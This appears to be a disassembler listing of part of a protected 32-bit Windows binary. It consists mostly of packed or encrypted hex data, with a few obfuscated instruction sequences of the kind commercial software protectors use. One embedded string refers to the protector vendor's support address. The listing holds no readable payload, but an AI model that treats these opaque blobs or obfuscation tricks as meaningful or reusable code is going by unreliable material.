3F38DA87h dd 0E151C023h, 4A66E607h, 7E150E7h, 0E24BB40Dh, 154B3E57h dd 0CFF46985h, 89E20FDEh, 3A9DB9F9h, 68FFEE33h, 7CD1690Fh dd 37770797h, 0EE33B81Bh, 0CB49DEFFh, 86C46AD3h, 2F92AEEEh dd 55FFEE33h, 6AA956FCh, 0F990A934h, 0C3BBD767h, 2307EBB1h dd 0CA103ACAh, 0BC8D0DDDh, 0B53B9EBAh, 106907E0h, 146901A7h dd 0BC699FFFh, 62B74757h, 0B447EDB1h, 0E272EE9Bh, 47C178A2h dd 84C23004h, 0E4086ADEh, 0D52E0FDAh, 99DE6317h, 8A296499h dd 11ACh, 306638DEh, 0D90F8F83h, 7FB5E92Ch, 2B613DD2h dd 0D50B937Eh, 0E03ECA1h, 67AD5A90h, 0BC540137h, 14FFACE2h dd 2D85548Ah, 0E40FAE11h, 0B76ED407h, 0E68386E0h, 0C6D838FFh dd 65A2F90h, 16A5A76h, 26C07E4h, 0C1DD99B0h, 7E3935Eh dd 29B12B84h, 3CD87D93h, 45AED762h, 0E9B560B5h, 67BCFCB3h dd 8050F6A8h, 37F48348h, 0AC90052Fh, 0A63EA1BDh, 0B64FF66h dd 3A0CE691h, 1C0B394h, 0BC440000h, 4CF40992h, 3FE5C091h dd 7B6ACDEh, 0E73C7CBCh, 0A104702Eh, 0CFFFE683h, 0F65CD076h dd 2FFE682h, 0D0459E9h, 0BC34EB91h, 4413D35Dh, 8385E804h dd 52ABFFE6h, 9CF3F5ACh, 3BDA15C4h, 0F4AA67BCh, 399A4069h dd 2C811153h, 52EB9E5h, 680FA85Fh, 74833C84h, 47CE2337h dd 0FDA3CC57h, 3D1Ch, 92BCAD00h, 0C1F858B5h, 0E6F15BDh dd 0BC38E781h, 4CF2AC67h, 833298B4h, 760FFE6h, 0B81B3777h dd 0DEFFE683h, 0BC28DF85h, 306EA75Dh, 0BC4AA981h, 0AC2C6992h dd 4FF58CA1h, 3868h, 7CBC0100h, 0E682FD60h, 24CA23FFh dd 0E594CCC3h, 833AA0BCh, 0D919FFE6h, 0E6835ABDh, 0B3EB24FFh dd 65BEFF28h, 8C3B54BFh, 7B527CBCh, 0DD56BECAh, 0A74D04AAh dd 0A981306Eh, 833C844Ah, 6BDA3774h, 8A000000h, 83CB2E4Ah dd 64F9FCE6h, 0E389F2ACh, 0A099F32Ch, 0E6832184h, 81E400FFh dd 0AFFFE683h, 53BC1556h, 0FCA26EC3h, 0EBA24871h, 0F2AC67BCh dd 983E67h, 0E6837EE4h, 102CACFFh, 0FFE683ADh, 81117AD3h dd 0C76CAF57h, 9CC5504Eh, 0B04C6D22h, 0A6B0806Dh, 0EB91FAF1h dd 0A75DBC34h, 4EA3336Bh, 264FDAC4h, 4AA9C980h, 536Dh dd 67BC0600h, 4069F4AAh, 1153399Ah, 3C7CBC62h, 0E683BD20h dd 0E48AE3FFh, 0E6830A70h, 4EFD16FFh, 6BA75DBCh, 206F1EF7h dd 42C6316h, 9D721780h, 0B3089801h, 8C120260h, 0E46FD801h dd 0A95E15BBh, 43FD3F69h, 4AA30740h, 0EC663B12h, 96797161h dd 42F99F08h, 12F892BCh, 9E3F4A3Bh, 0FE3411F8h, 9FC9FFFFh dd 8A885B70h, 0D4AD9A14h, 0D2698701h, 0BAB166ACh, 96F35D14h dd 0DAF6818Eh, 0FFE68377h, 50DB449Dh, 22C6AD27h, 0F30D9F09h dd 89DEFA8Ah, 9307E486h, 8180AA3Ah, 4571C40Dh, 0FE7CAAB4h dd 0C16F6D84h, 0E52E831Bh, 6B2283B9h, 92565F5h, 7E468A6h dd 35CD73CCh, 0E468B619h, 45638D07h, 0E8398880h, 459EE78Dh dd 0E12D8EBAh, 9B3307E3h, 0ED68AA71h, 0C116BCEh, 11674F07h dd 66AD52BBh, 0DE84AD38h, 649CA35Dh, 2407212h, 32h, 8379E093h dd 0D043FFE6h, 0AB0098CEh, 1B8F3569h, 0FFE683B5h, 10A0C0C9h dd 0E08AD6F4h, 0B260B507h, 0A4FD46ECh, 4955BF14h, 0B1EF95BEh dd 0B0CAh, 96F36300h, 4C1E3ACAh, 5A07E0A4h, 0F41C7101h dd 0BEDA1AAAh, 7E0A35Bh, 4C8A3089h, 0ECB25FB4h, 7E933861h dd 0C66C9520h, 1CA7F719h, 4ADA8603h, 0DE22C12Eh, 32C21B0Fh dd 356B33DDh, 8B168888h, 0B9491772h, 0EB59929Dh, 997B1007h dd 0CC0C9C05h, 77029C77h, 6565223Dh, 0DC4564F1h, 0D88A8936h dd 0B7E72939h, 0F9A032Ch, 98ED7DE6h, 6F98237Bh, 35DE8BC9h dd 14DDAB69h, 0B3EE9E63h, 0E4314h, 0CFCF4700h, 7826EC99h dd 1E809542h, 0CAD43BE8h, 742AE794h, 6E550A3Eh, 18C5FBA3h dd 0BF6CA2FCh dd 6A174D51h, 0F0BFF5A9h, 12197C98h, 0E14707E4h, 326CA72Ah dd 91D142A7h, 22B21B83h, 0B15747CDh, 7ABA021Eh, 83BB1E3Ah dd 90E9FFE6h, 0E683C124h, 0F096EFFFh, 42D1B56Fh, 1E56265Ch dd 0BC38748Bh, 3Dh, 0CA96F34Dh, 70A5FA3Ah, 6395201Dh, 0B82146CDh dd 0EA5E042Dh, 7E14928h, 0C52AB50Eh, 0AA0D294Eh, 0D807E138h dd 33E0167Fh, 1A33BEE0h, 4561F16Fh, 0FDB5873h, 61B6469Fh dd 644EAB4h, 336BA74Fh, 0D7C74EA3h, 65BF331h, 3DEA900Eh dd 0E439C9D5h, 0C0DE3230h, 18A30C35h, 8AB649EFh, 0FFE6832Eh dd 0F2821CF4h, 9929759Dh, 0E6831A7Dh, 49EF48FFh, 81DFAA0Bh dd 1F2D5F1h, 0C72007E4h, 78DBF737h, 9E07E401h, 0C7079F45h dd 8530429Dh, 0FEA4F650h, 0A4DAC451h, 0AD67BCEDh, 437B4BF1h dd 2A37F483h, 0D35E40D5h, 962304AAh, 0B4000001h, 1AC997F3h dd 0F6A867BCh, 369CB850h, 42FFE683h, 7CBC7A29h, 83BD203Ch dd 8AE3FFE6h, 92BC2DE4h, 4417AFD4h, 71F298A0h, 9CF3C3B1h dd 3BDA15C4h, 18C799F3h, 3C84680Fh, 23377483h, 8364C7E3h dd 3992FCE6h, 52B293h, 0F3430000h, 0BC15C49Ch, 6AF5A967h dd 28769C41h, 36CE749Dh, 0E683B41Ah, 0D33E93FFh, 711740CBh dd 0E37F9328h, 0BAE36E30h, 0D9DC651h, 0E6838EF1h, 0F25BB4FFh dd 0A75DBC43h, 0BC81306Eh, 4BF1AD67h, 1D3660A0h, 281960C5h dd 57C0DE31h, 476DFAB1h, 6000000h, 12B39CF3h, 63F855C0h dd 0BC34E34Ch, 0E6833AA0h, 2BEF19FFh, 0D2CC4312h, 4D2CF958h dd 74233CA7h, 67BC5DBCh, 3C65F0AEh, 7E247A97h, 0AB5A44D1h dd 0D42969A9h, 8FF25E40h, 0B5FFE683h, 56D6134Bh, 0C12A82D6h dd 67BC641Bh, 7B4BF1ADh, 37748333h, 5CD1h, 99F36200h, 0F212AFB6h dd 0CA44DBF0h, 0BA4C6F09h, 0F6A50E1Eh, 0A02D92BCh, 0B1C95D70h dd 0DE33730Bh, 0B6DF6A34h, 0C2369C10h, 0E464FFE6h, 0E6C265C8h dd 0C9328BFFh, 0EF92BC1Ah, 190D3255h, 0C423BB61h, 12226BA7h dd 0C6A2554Ah, 0A9DE8DF6h, 0AA0D2969h, 0D8FFE683h, 6D22D97Fh dd 43h, 0C799F306h, 3AA0BC18h, 19FFE683h, 14FFD1EFh, 0AF551401h dd 0A8C40444h, 0FFE70D45h, 43A6126Bh, 71FFE70Dh, 9E7318h dd 5DBCE897h, 273492BCh, 5EFA0A77h, 0F34FB2CEh, 1C75FFE6h dd 5549C976h, 6D4AA9A6h, 0FFFFFE55h, 0CA96F306h, 6BA5FA3Ah dd 0C4198D33h, 0D207E402h, 7F94E979h, 0FC51E91Fh, 80E18717h dd 0A7C3530Dh, 7E40244h, 6C32DD72h, 0C7524CC7h, 7EAA359Eh dd 7E4021Dh, 0DB368B23h, 690F38C3h, 0A5F2EE8h, 0E40D9806h dd 0A366E3Eh, 17D44072h, 65000000h, 0E68379E0h, 0F0358FFh dd 35DB048Fh, 0DD138B88h, 0D5F6h, 96F38F00h, 0A5FA3ACAh dd 821CF36Fh, 0BF658E19h, 0E0A55D4Bh, 0DEFA3A07h, 7E0A57Bh dd 61AA50A9h, 0CE5945CCh, 57AC3CA5h, 8FE8D4B9h, 4AF9F62Bh dd 12FEABE1h, 53DEC050h, 1D36C12Ah, 4864F46Ch, 0FDE71DFh dd 0DC1CAC05h, 911D809Ch, 0EA43FFEDh, 335EF070h, 741A75C6h dd 0F61949C7h, 8BF41DA8h, 3668A855h, 40315BABh, 82D08309h dd 6C1D7E24h, 995D56E3h, 59C2F16Eh, 62A2ADC9h, 0AB4007EBh dd 86AF3A64h, 0DB388D1Dh, 0A9128C87h, 5ABDD919h, 8807E0A2h dd 9E4B892Fh, 8B6B2975h, 0A49E63D0h, 0A96CA69h, 22F40000h dd 7999467Ch, 0D342EF25h, 27E895CBh, 7D944177h, 2B7EB21h dd 70A6F819h, 174D51C3h, 0C2F8A66Ah, 6AA0FE15h, 0C427439Bh dd 0F207E416h, 6CA7D58Ch, 0D142A732h, 0F52642CDh, 0BBBC573Bh dd 0E6833C9Fh, 0A8116AFFh, 8B6AA272h, 40083874h, 99000000h dd 858E96F3h, 420B019h, 7E088B2h, 97FC87E0h, 54EC227Ch dd 0B12E6E2Ah, 8126BDD2h, 0B7640A94h, 9EB7425Ch, 0C9E575EBh dd 0FDAD9DBh, 0DE1EAE07h, 0E6995FC2h, 872C85FFh, 628B1688h dd 0A7C77EBCh, 65FD336Bh, 149FFF10h, 77D145EBh, 3CFFE683h dd 94095112h, 852B06D7h, 306638D8h, 16A6BACFh, 593916ECh dd 8F0936B5h, 9B6A7A27h, 0B149EF1Ch, 0E494BD95h, 0CF459A07h dd 751B44CFh, 343D32Ch, 7044A7C3h, 197207E4h, 4F4FC673h dd 0E72C8119h, 845A11B7h, 37F4834Ch, 155EAh, 8B709A00h dd 7B86CE8Ch, 0C22B739Eh, 97F3651Ch, 0A0BC1AC9h, 0FFE6833Ah dd 7B23F146h, 5DBC6312h, 0F32513D3h, 0DA15C49Ch, 0AE67BC3Bh dd 0A3E94AF0h, 680F12C1h, 74833C84h, 48DA37h, 0F36B0000h dd 0BC15C49Ch, 0E6833AA0h, 4EC419FFh, 948BC550h, 4D09D776h dd 54EF45Dh, 5DBCFDACh, 0A0306EA7h, 82E14460h, 7A0FFFE6h dd 0F79D0698h, 2969A940h, 0E683AA0Dh, 806ED8FFh, 0B2E2C36Fh dd 7027CD36h, 466Dh, 9CF30600h, 7CBC15C4h, 83BD203Ch, 8AE3FFE6h dd 830A70E4h, 0BFE9FFE6h, 0EB946351h, 2B8F2EAEh, 0E6C592D2h dd 536CD77Dh, 0A75DBCA4h, 0BC81306Eh, 82FD607Ch, 50BFFFE6h dd 599AC34Eh, 1E6B8600h, 0C62572AEh, 84167520h, 3774833Ch dd 3CDAh, 7CBC6B00h, 4AB6E827h, 0FFE682E7h, 0AD0EB40Dh dd 0BCD685DFh, 6E4527Ch, 0D7E98327h, 0E257BD31h, 2A83FFE6h dd 0A75DBC7Bh, 0A984336Bh, 4A6D4Ah, 0E5250000h, 0E68366C9h dd 8D338CFFh, 527CBCD6h, 38EDA4Bh, 88EB5753h, 0AEFFE74Ch dd 3E4EAF55h, 7CBC7524h, 0E732A452h, 0CA444BF0h, 0A4BBE08h dd 44B85EEEh, 0FFE6E6DEh, 0BC22D1EAh, 0AC39527Ch, 0F1889D7Ch dd 6BA7944Bh, 4AA98433h, 0FFFEA26Dh, 96F306FFh, 832487A3h dd 0F952FFE6h, 8FE40090h, 0BD07E402h, 947FD464h, 0A11B74F9h dd 0E4142285h, 7DF75007h, 0C9326CDEh, 9FBBFB93h, 7E4663Ch dd 0A6B116Ah, 314DDD83h, 7E466CEh, 0DBC350A5h, 38812750h dd 0C72854DFh, 0C907E466h, 6ABF8E48h, 8050F6A8h, 40726E48h dd 10E6h, 79E07700h, 43FFE683h, 0B198CED0h, 0C0h, 0CA96F34Ah dd 755C103Ah, 4666F29Fh, 73C808A0h, 0B85AFF9Fh, 9ACC40E6h dd 0C807E17Fh, 0BAB5DF6Fh, 0F021FDC8h, 5A44D075h, 49C71CB4h dd 0CCAC8944h, 167FC32Bh, 0B0DD33E0h, 69F0A7ADh, 0C954BD56h dd 0F787D9B0h, 0DF9B8DB7h, 0A77953DEh, 0F1288D01h, 0B2070FDEh dd 60C53F5Fh, 0B3E3A314h, 0EF489137h, 98060A5Fh, 1C5BB562h dd 0EDAD9D00h, 16AC3FFh, 342C5D76h, 257D88A4h, 0CA2307EBh dd 702EE53Ah, 18868D3Ah, 639D805Ah, 0AF4E899Eh, 758h, 84BAE432h dd 2D633BD7h, 0D3099580h, 7FB5E926h, 295F3FD2h, 0BA5740F5h dd 1301AEE4h, 68A8558Bh, 0C0530036h, 81D9A8DEh, 0E4190265h dd 13CA3007h, 0A7326CA7h, 42CDD142h, 0DF6A34DDh, 7A05997Ah dd 5D05BFE8h, 3216D001h, 0B787BDE1h, 38748F7Fh, 271Dh dd 96F3AE00h, 7C1E3ACAh, 2A07E0A0h, 0A1F646D1h, 7AA32E70h dd 9EF960D4h, 820307E0h, 0AB89C1C8h, 4227406Eh, 0B8000000h dd 3ACA96F3h, 0E08EAC1Eh, 7E96EB07h, 0D8317A20h, 27D3FD4Dh dd 78D86A87h, 1D809C2Ch, 4307E172h, 7C9744EAh, 0D43FEC22h dd 63263FCAh, 0ED2D6DFDh, 0E1726ED1h, 953B9407h, 0DB91EF21h dd 649AF30Fh, 0B55F7BADh, 7F1D7BD4h, 0FEF1AA60h, 53091084h dd 0D63F54EBh, 55282A46h, 0FF3F07E1h, 0E15080E3h, 211A607h dd 7FE8119Ch, 5070D3EFh, 3D9607E1h, 0B8F54E97h, 579A9454h dd 81DFAAC8h, 1313D5F1h, 0E63FCF6Dh, 0DD47425Bh, 6FFF6836h dd 574CCE53h, 0F9FF8C8h, 0B54559BAh, 60EBB360h, 0A6539137h dd 0B773316Dh, 985E157Ah, 62EBE5Dh, 0BA5C0000h, 1101AEE4h dd 6BAA578Dh dd 0BF50FD33h, 15FCA9DFh, 6A1F5389h, 0D80E9081h, 7FB5E92Bh dd 2A603ED2h, 0D208967Dh, 2C8FAB03h, 5A07E41Ah, 92BC3DF4h dd 48A71364h, 49F69CF1h, 1A44D4CAh, 11B6A573h, 2CBF65F3h dd 573F4EC7h, 0FAA46F03h, 3B66E780h, 4E3B9CD2h, 606CCFEBh dd 419AFFE7h, 0C72C48D8h, 0F507E4DFh, 69AC119Ch, 6DB17735h dd 57929E64h, 5B7B8h, 5B43D300h, 49A7825h, 0AAF421CEh dd 5648C774h, 9E7320h, 0FAE196CAh, 0A4518717h, 4BF82E70h dd 0F6A3D9C5h, 7C4B811Dh, 1BA50824h, 65CB07E4h, 607CBCAEh dd 0FFE682FDh, 0F6E6B923h, 0E6349229h, 1376D77Dh, 38A1BD4Dh dd 5F07E4ADh, 58A0031Fh, 5CC607E4h, 9C15A3D2h, 0E287F0CAh dd 82CB712Dh, 0DC399E29h, 8E3404C2h, 0DA159E64h, 5473Bh dd 0CBD34300h, 742AE895h, 1A84913Eh, 0C6D837E4h, 702EE390h dd 6A51063Ah, 14C1F7A7h, 0BB689E00h, 66134955h, 0ECBBF1ADh dd 1B157894h, 0D53B07E4h, 607CBC1Eh, 0FFE682FDh, 0C324CA23h dd 0EE0A9AC6h, 7E40281h, 4DB0CC0Ch, 2407E401h, 0E401A508h dd 3172CB07h, 90E932D8h, 2975A005h, 64B1D96Bh, 9837729Eh dd 4E0h, 0FC326CAAh, 0A5DBC34Fh, 4B811DF8h, 0F72D719Eh dd 0A1D7C74Ah, 42CFB86Dh, 9B79265Ch, 0F020CD03h, 48CB78AEh dd 0F9512056h, 0E41C7ADDh, 8B42A807h, 0A2326CA7h, 82E34662h dd 66ADFFE6h, 0F89EF738h, 55C01565h, 0EF95BE49h, 42CDD142h dd 12F6B0E9h, 0EBB36101h, 98CE3760h, 0EB7628EBh, 0E68359BFh dd 0ADF121FFh, 4658BD22h, 460029BBh, 68922A9Eh, 0D63D0E25h dd 9A143DC8h, 36DCF588h, 0FC17FBB5h, 0BAE812A2h, 2D87FD46h dd 5FF735DBh, 0D3A39035h, 0F59B1747h, 48D3CB48h, 306EA3F8h dd 6836DD8Ah, 0E428AED8h, 9445406Bh, 0C318B0EEh, 0D4D24C52h dd 0CA0D1736h, 2F5ABB61h, 0EB85A131h, 9707E0EDh, 2087B33Eh dd 2A07E0EDh, 0B0E8EFA9h, 4E406EF5h, 2Fh, 0A396F3DFh, 0E6832487h dd 20E419FFh, 0C3056F27h, 30C02982h, 0E1174614h, 70FB5407h dd 0E0E5DD44h, 0AC66E707h, 6EF26DA5h, 0C80B40h, 0A79C0000h dd 42A7326Ch, 0FF3FCFCFh, 0E68380E3h, 0CFCF42FFh, 0FC8F358Eh dd 97227C97h, 87BDE132h, 0E687EF13h, 0ADE033FFh, 0D5FBB8B8h dd 8AC02987h, 0DD6836DDh, 0B9BC5C4h, 5C6019E1h, 635F821Ch dd 41D0A611h, 0FD16BB24h, 47ED16A1h, 50AD93AFh, 80D907E1h dd 0C0A0E94Ah, 13381430h, 0D660FDEh, 0B7E7287Dh, 0C55D032Ch dd 0C7FDA170h, 6480F71Ah, 0FFECD201h, 237B9A2Fh, 9D066F98h dd 9F807BDFh, 2A1DC99h, 358h, 84BAE432h, 2D633BD7h, 0D3099580h dd 7FB5E926h, 295F3FD2h, 0BA5740F5h, 1301AEE4h, 68A8558Bh dd 0C0530036h, 81D9A8DEh, 0E41D0265h, 13CA3007h, 0FE346AA7h dd 4CDCC251h, 0A8F06522h, 5E046EB0h, 96F36920h, 2DE53ACAh dd 1733CB71h, 7E09C49h, 0F2FDDC06h, 7FEC2B40h, 0AC3790D9h dd 0E0E51980h, 722CE307h, 0E9082E7h, 0ACF21E83h, 8F37F11Ah dd 20EFA92Ah, 97E154F6h, 0DF856831h, 6F6CD70Fh, 0D27540h dd 0A7060000h, 42A7326Ch, 1844CFCFh, 0FFE687F4h, 93C9D53Eh dd 2F6FA6FBh, 28D57BA4h, 59977EBh, 0A5C1517Ah, 0FFE68742h dd 1EAE1770h, 0AC524CC9h, 0D7890019h, 9D452B47h, 187107E0h dd 560E5E88h, 0AC5B5851h, 2267C806h, 5792AE3Eh, 6D0FDE33h dd 0D6613DD8h, 74B444ADh, 0A36EF41Fh, 0DE4770FBh, 0D7842A53h dd 0BE213D3Ah, 0E4FFEC91h, 90E54864h, 0B20BFFECh, 0FDAAE049h dd 62CC8A14h, 0BF999FC1h, 24EE584h, 0DA3C0000h, 31E18EC4h dd 8B8A376Dh, 0DF30DD13h, 35DC89BFh, 4AFF3369h, 0B8EEB061h dd 5F95090Bh, 0A405EB2h, 0B2E8B65Dh, 0C6F8BE3h, 3A07E41Eh dd 6AA71DD4h, 0C34FA434h, 4AF735DBh, 79FD5C9h, 0EFBCBDDh dd 1452F60Fh, 9C5F5737h, 0EDA44AB3h, 0D1DB92BCh, 0CCCCB41Eh dd 0A2CB5648h, 2DE69339h, 9281E671h, 1475D60Ch, 0FEA0BC4Ch dd 5507E0E2h, 248AE12Bh, 8C321ADEh, 335FEA43h, 7E114CCh dd 949B55D6h, 406F1C5Ch, 42FAh, 96F38B00h, 0DEFA3ACAh dd 0FFE6837Bh, 12AA50A9h, 1B46A8D2h, 0F0CF9C89h, 0D0B8D64Ah dd 8DE607E0h, 0C46FD602h, 0F87907E0h, 0CFFF373Eh, 229D406Eh dd 4D000000h, 4658B80Dh, 0C32692BBh, 0F107E0B8h, 0E03BF298h dd 0FFE6837Ah, 0D767F990h, 0E0AFB9BBh, 8EC41D07h, 0CA96F3D7h dd 0B7A41E3Ah, 0D84207E0h, 5F1A57D7h, 0BF4AB39Ah, 0E0932C93h dd 0FBB53607h, 0C3DC022Ch, 8F333B1Fh, 33E119E9h, 227F406Fh dd 10000000h, 0E68379E0h, 66FA8FFFh, 0AFB8BAD6h, 8FCF07E0h dd 0E0AF1073h, 37DD3607h, 0E8B659EEh, 95CB345Dh, 0CA96F3DEh dd 2A91E3Ah, 0DA3307E4h, 591EF54Ah, 8930B04h, 11073DFh dd 0DD3607E4h, 82913E74h, 1178911Ch, 1A90C28h, 7ED707E4h dd 71698515h, 550FE17Fh, 0FC176CFCh, 54BF6CA2h, 499F0639h dd 0A10AC2B6h, 0A79CE711h, 35F6E1DFh, 0A6E3FC8Fh, 0AC0E2ABAh dd 0DA07E119h, 8BA3C381h, 71AC9E63h, 0BBD2h, 5747CF00h dd 9E7421h, 0A6F81DCAh, 524CC370h, 0FCA26F1Ch, 0F6DD92C6h dd 0A04D831Bh, 47F42A74h, 0F29FD5C9h, 78477D21h, 20A10420h dd 69CF07E4h, 0CA96F3B2h, 4730E53Ah, 0E683C82Bh, 2C95EEFFh dd 3AD278A1h, 0E402221Eh, 0D863BC07h, 4DC2A073h, 349DC651h dd 0DCC251FEh, 771C2551h, 22724B4Ah, 8E63C6E2h, 38914481h dd 8E298CA8h, 0FE574481h, 4E1DD758h, 4757B90Eh, 818E78DBh dd 6099E44h, 7BE40D98h, 0B3EB28D5h, 5B43D07Dh, 0FAA46BD0h dd 0FAB4DD6Fh, 6BA1FD16h, 30D55BEh, 72E92F8Ah, 0DD468EF2h dd 35C02952h, 0F96h, 18F94E00h, 7996FB86h, 8719A25h, 5CBBAB62h dd 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h dd 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h, 0E0895052h dd 405h, 4E88300h, 2474FF50h, 48F5804h db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi push ecx mov ecx, 30632A67h dec ecx sub ecx, 2865A9CEh mov edx, ecx mov ecx, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 push 523Dh mov [esp], edx add dword ptr [esp], 52A676AFh pop dword ptr [edi+8] sub dword ptr [edi+8], 52A676AFh mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- dw 0BE17h dd 9BD5618Eh, 0FD9E08B8h, 0FFC50307h, 0A55D05E0h, 28AF8720h dd 0A1335D39h, 0EB635309h, 7CE3B12Dh, 922B875Fh, 34274906h dd 999FEB05h, 0CE852h, 8EAA0000h, 0B1EFC155h, 895680EBh dd 8B66278Dh, 800F58D1h, 6, 92E9D981h, 0C0814D82h, 6417h dd 6860Fh, 0D9810000h, 45D2D1DBh, 4795B5BFh, 0E7EF8138h dd 0F38477Ch, 0A8Bh, 48E0F00h, 66000000h, 0FF8D1FBBh, 0DE930h dd 0D2BA0000h, 89139C53h, 99D673A0h, 5E41D68Bh, 0BDEE81F5h dd 8A4DC715h, 7EC681CEh, 8009CB2Eh, 0C68132DBh, 25318E7Dh dd 7983D7BBh, 820F5628h, 2, 8FF3B3h, 0ED0FDDBBh, 2E88315h dd 592FB552h, 0BE84848h, 26000000h, 9C693262h, 52ADA741h dd 0A3B20D8Eh, 1EF815Ah, 0F000000h, 1585h, 7EBB6600h, 27E9C4h dd 4EF00000h, 0F00750E4h, 750E44Eh, 8B664EF0h, 0FF79E9D1h dd 336CFFFFh, 21E24685h, 4EC4C038h, 6B965D70h, 93E10279h dd 400E9F2h, 0 dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0) dd offset dword_55FD48+2B8h dd offset dword_44B1B4+4E4Ch dd 0 dd 85E90000h, 0F000012h, 1983h, 14E900h, 0CB2B0000h, 0ECA5251h dd 0AA1DB747h, 0B24AC47Ch, 63C294CFh, 858BE196h, 7FA0AF5h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 46C35545h dd 0FC70800h, 1FA2DD8Dh, 8160F9D8h, 0B14467E9h, 559D896Bh dd 6107FA34h, 4244439h, 6A850Fh, 870F0000h, 1Bh, 15840Fh dd 10E90000h, 6000000h, 0CD819B71h, 6B8D8548h, 9F52448Eh dd 83C25299h, 0FA1CC5BDh, 840F0007h, 3Ch, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 14h, 65C35141h, 26F98D89h dd 9D0907FAh, 7FA28F5h, 3AE2858Dh, 0B50907FAh, 7FA07A1h dd 8589E0FFh, 7FA2F91h, 515858Bh, 6A07FAh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E97A94C3h dd 12h, 2D8406A4h, 8AF9A08Fh, 0E0AEBB4Ch, 53678D6h, 39FC267Ah dd 0F042444h, 3485h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 860F8B77h, 1, 0B585C7F5h dd 107FDA3h, 89000000h, 0FA0D6985h, 0B5016007h, 7FA2B19h dd 41E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 0BA8C62F0h, 5531505Eh, 14830Fh, 8F0F0000h dd 0Eh, 9E9h, 14984F00h, 31F11A9Bh, 2404h, 1B80000h, 87000000h dd 0FDA54D85h, 75C00B07h, 65B5FFF6h, 8F07FA06h, 0FDA3AD85h dd 6A206A07h, 4195FFFFh, 8307FA15h, 0FA1809BDh, 8740007h dd 95FF006Ah, 7FA1019h, 2C05BD83h, 740107FAh, 80680Dh dd 0FF6A0000h, 154195FFh, 7E907FAh, 2E000000h, 357E459Ah dd 6E9F344h, 29000000h, 9E90CDD9h, 56006AC5h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 5C5462A8h dd 0FE9h, 0BAD56600h, 0D6BF4E6Dh, 48B20D0Dh, 0F0ABB8A0h dd 6AC02Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0A56B12C3h, 2D0F671Bh, 548BFC38h, 9D892824h dd 7FA2E65h, 154D8589h, 8D8907FAh, 7FA062Dh, 3CBEh, 0FDBD8900h dd 307FA07h, 60242474h, 8BF08B66h, 0B50961D1h, 7FA329Dh dd 6AAD66h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0B20722C3h, 240D9531h, 0F6007FAh, 0BF0FC9B7h dd 440361F6h, 0E9602424h, 8, 545175CAh, 0D47DBAC5h, 12E95061h dd 7000000h, 0C88C9817h, 0BF65169Dh, 947C5A27h, 3899E579h dd 24048908h, 0A8D8BA60h, 8B661F6Eh, 408B61D7h, 0C8C0F78h dd 0E9000000h, 7, 301120D9h, 83B1979Fh, 0FDA3B5BDh, 850F0007h dd 115h, 2E29B589h, 858907FAh, 7FA2699h, 50525090h, 8E0F52h dd 0F000000h, 810F31h, 5A000000h, 50310F58h, 0F616052h dd 8C0F31h, 5A000000h, 50585A58h, 0AE9h, 0A4D7FD00h, 0F1237AB0h dd 90B02ED8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 2BC35747h, 0F21C25F4h, 0EDD2A429h, 21D58D89h, 448B07FAh dd 85312C24h, 7FA2DB5h, 158B0F50h, 0E9000000h, 10h, 5E1E9963h dd 591EDECh, 4E90DDDBh, 0AF7FCCC4h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 1664C357h, 0A1B5295Eh, 8D07FA11h, 0FD72FF85h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0E51ECEDDh, 0BFEA91F8h, 0B58926D2h, 7FA27BDh, 16D9BD01h dd 0D0FF07FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 0A7C35646h, 0F9470679h, 244403F5h, 11B52928h, 8B07FA1Fh dd 40F81840h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 53C35646h, 34D59D31h, 858907FAh, 7FDA3B1h, 0AE860h dd 75A50000h, 2CCB3822h, 0CF030496h, 16E1B589h, 805807FAh dd 5861A0ECh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 8FC35343h, 0C5398F9Ch, 9E90Dh, 6E3E0000h, 52A7F016h dd 8B5D7170h, 6A7870h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0ACB4BDC3h, 838ED918h, 6A1CC6h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 7224AC3h, 5E94AB2h, 9000000h, 3792C7B5h, 50006A96h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 584358F5h, 9369811h, 0FA1185B5h, 1F820F07h, 0F000000h dd 198Dh, 14E900h, 0FBF80000h, 5DC9FE13h, 0ADBCE135h, 5F0422C9h dd 22FECA22h, 7C8131B3h, 2424h, 870F1000h, 116h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 7C35343h, 2C214ED7h 